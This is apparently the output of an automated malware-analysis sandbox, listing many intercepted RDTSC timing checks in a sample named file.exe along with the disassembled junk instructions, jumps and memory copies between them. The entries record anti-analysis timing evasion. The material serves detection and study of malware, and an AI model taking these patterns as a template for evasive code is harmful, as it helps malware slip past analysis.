Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E245 second address: 126E268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB21D05D605h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E268 second address: 126E273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB21D0A7D76h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12749E5 second address: 12749EF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D05D5F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12749EF second address: 1274A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB21D0A7D90h 0x0000000c jmp 00007FB21D0A7D80h 0x00000011 jmp 00007FB21D0A7D7Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1274A15 second address: 1274A22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FB21D05D5F6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1274868 second address: 127486C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277EA6 second address: 1277EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277EAA second address: 1277EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007FB21D0A7D7Bh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007FB21D0A7D76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277EC8 second address: 1277ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F0A5 second address: 127F0AF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB21D0A7D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D8E1 second address: 127D913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FCh 0x00000007 jmp 00007FB21D05D5FEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB21D05D5FEh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D913 second address: 127D925 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DA7C second address: 127DA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DA82 second address: 127DA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB21D0A7D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DA9D second address: 127DAA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD72 second address: 127DD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB21D0A7D7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD7E second address: 127DD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FB21D05D5F6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD8C second address: 127DD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD90 second address: 127DD96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127E04A second address: 127E04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ED20 second address: 127ED26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281D9E second address: 1281DD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FB21D0A7D76h 0x00000009 jmp 00007FB21D0A7D88h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push esi 0x00000012 jmp 00007FB21D0A7D7Ch 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281DD9 second address: 1281DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281DDD second address: 1281E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FB21D0A7D88h 0x00000013 jmp 00007FB21D0A7D7Ch 0x00000018 popad 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281E1D second address: 1281E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281E28 second address: 1281E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281AD2 second address: 1281AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB21D05D5F6h 0x0000000a jmp 00007FB21D05D609h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284C5D second address: 1284C67 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128EA4E second address: 128EA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128EA52 second address: 128EA7C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB21D0A7D7Bh 0x0000000b pushad 0x0000000c jmp 00007FB21D0A7D7Bh 0x00000011 jmp 00007FB21D0A7D7Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128EA7C second address: 128EA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB21D05D5F6h 0x0000000a popad 0x0000000b popad 0x0000000c jc 00007FB21D05D629h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128EA92 second address: 128EA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129FB91 second address: 129FB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F8FB second address: 129F90E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jnl 00007FB21D0A7D7Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F90E second address: 129F920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB21D05D5FDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5608 second address: 12B5612 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5612 second address: 12B5624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5624 second address: 12B5628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5628 second address: 12B5655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e jne 00007FB21D05D602h 0x00000014 push ecx 0x00000015 js 00007FB21D05D5F6h 0x0000001b pop ecx 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5655 second address: 12B5671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB21D0A7D83h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B470C second address: 12B472D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jmp 00007FB21D05D604h 0x0000000b jg 00007FB21D05D5F6h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B472D second address: 12B4732 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4B24 second address: 12B4B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FB21D05D5FEh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B52CA second address: 12B52D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB21D0A7D76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAE0D second address: 12BAE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAE11 second address: 12BAE17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB0A0 second address: 12BB0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB0A6 second address: 12BB0AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB351 second address: 12BB35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB35D second address: 12BB37A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB21D0A7D85h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC625 second address: 12BC629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC629 second address: 12BC62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDD68 second address: 12BDD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDD6C second address: 12BDD88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Fh 0x00000007 jnl 00007FB21D0A7D76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDD88 second address: 12BDDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D608h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDDA5 second address: 12BDDB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB21D0A7D76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDDB1 second address: 12BDDB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDDB5 second address: 12BDDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400307 second address: 5400317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D05D5FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400317 second address: 540031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540031B second address: 5400330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB21D05D5FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400330 second address: 5400390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d pushfd 0x0000000e jmp 00007FB21D0A7D7Bh 0x00000013 add esi, 4419268Eh 0x00000019 jmp 00007FB21D0A7D89h 0x0000001e popfd 0x0000001f pop esi 0x00000020 mov edx, 1257A384h 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FB21D0A7D85h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400390 second address: 5400394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400394 second address: 540039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540039A second address: 54003B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D05D603h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54005C7 second address: 5400605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FB21D0A7D7Fh 0x00000012 pop eax 0x00000013 jmp 00007FB21D0A7D86h 0x00000018 call 00007FB28DEDB76Eh 0x0000001d push 762327D0h 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov eax, dword ptr [esp+10h] 0x0000002d mov dword ptr [esp+10h], ebp 0x00000031 lea ebp, dword ptr [esp+10h] 0x00000035 sub esp, eax 0x00000037 push ebx 0x00000038 push esi 0x00000039 push edi 0x0000003a mov eax, dword ptr [762C0140h] 0x0000003f xor dword ptr [ebp-04h], eax 0x00000042 xor eax, ebp 0x00000044 push eax 0x00000045 mov dword ptr [ebp-18h], esp 0x00000048 push dword ptr [ebp-08h] 0x0000004b mov eax, dword ptr [ebp-04h] 0x0000004e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000055 mov dword ptr [ebp-08h], eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b mov dword ptr fs:[00000000h], eax 0x00000061 ret 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400605 second address: 5400609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400609 second address: 540060F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007AF second address: 5400827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FB21D05D5FAh 0x00000009 pop ecx 0x0000000a popad 0x0000000b mov eax, ebx 0x0000000d popad 0x0000000e test al, al 0x00000010 pushad 0x00000011 pushad 0x00000012 mov si, dx 0x00000015 pushfd 0x00000016 jmp 00007FB21D05D605h 0x0000001b and si, 4156h 0x00000020 jmp 00007FB21D05D601h 0x00000025 popfd 0x00000026 popad 0x00000027 pushfd 0x00000028 jmp 00007FB21D05D600h 0x0000002d xor cl, 00000078h 0x00000030 jmp 00007FB21D05D5FBh 0x00000035 popfd 0x00000036 popad 0x00000037 jne 00007FB28DE8585Dh 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov ax, di 0x00000043 push edx 0x00000044 pop esi 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400827 second address: 540083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D0A7D7Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540083A second address: 540083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540083E second address: 540089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007FB21D0A7D85h 0x0000000f shr ecx, 02h 0x00000012 jmp 00007FB21D0A7D7Eh 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f rep movsd 0x00000021 jmp 00007FB21D0A7D80h 0x00000026 mov ecx, edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FB21D0A7D87h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540089B second address: 54008B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, DFh 0x00000005 mov cx, A337h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c and ecx, 03h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cx, dx 0x00000015 mov edx, 64A36AE6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54008B6 second address: 54008EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 15250B79h 0x00000008 jmp 00007FB21D0A7D86h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rep movsb 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FB21D0A7D7Dh 0x0000001a mov edi, eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54008EC second address: 5400915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB21D05D603h 0x00000008 pop ecx 0x00000009 mov al, dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400915 second address: 5400932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400932 second address: 5400938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400938 second address: 54009F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop edx 0x00000011 pushfd 0x00000012 jmp 00007FB21D0A7D7Eh 0x00000017 or si, 7008h 0x0000001c jmp 00007FB21D0A7D7Bh 0x00000021 popfd 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007FB21D0A7D88h 0x00000029 adc ax, 9268h 0x0000002e jmp 00007FB21D0A7D7Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ecx, dword ptr [ebp-10h] 0x00000038 pushad 0x00000039 mov esi, 4B10437Bh 0x0000003e mov bl, cl 0x00000040 popad 0x00000041 mov dword ptr fs:[00000000h], ecx 0x00000048 jmp 00007FB21D0A7D83h 0x0000004d pop ecx 0x0000004e jmp 00007FB21D0A7D86h 0x00000053 pop edi 0x00000054 jmp 00007FB21D0A7D80h 0x00000059 pop esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54009F8 second address: 54009FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54009FC second address: 5400A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400A02 second address: 5400A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D604h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB21D05D5FEh 0x00000011 jmp 00007FB21D05D605h 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 movzx ecx, dx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400A46 second address: 54005C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 leave 0x00000008 jmp 00007FB21D0A7D85h 0x0000000d retn 0008h 0x00000010 cmp dword ptr [ebp-2Ch], 10h 0x00000014 mov eax, dword ptr [ebp-40h] 0x00000017 jnc 00007FB21D0A7D75h 0x00000019 push eax 0x0000001a lea edx, dword ptr [ebp-00000590h] 0x00000020 push edx 0x00000021 call esi 0x00000023 push 00000008h 0x00000025 jmp 00007FB21D0A7D80h 0x0000002a call 00007FB21D0A7D79h 0x0000002f jmp 00007FB21D0A7D80h 0x00000034 push eax 0x00000035 pushad 0x00000036 call 00007FB21D0A7D81h 0x0000003b jmp 00007FB21D0A7D80h 0x00000040 pop ecx 0x00000041 movsx ebx, cx 0x00000044 popad 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 jmp 00007FB21D0A7D7Dh 0x0000004e mov eax, dword ptr [eax] 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FB21D0A7D7Ch 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400B42 second address: 5400B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D600h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FB21D05D603h 0x00000014 popad 0x00000015 rdtsc
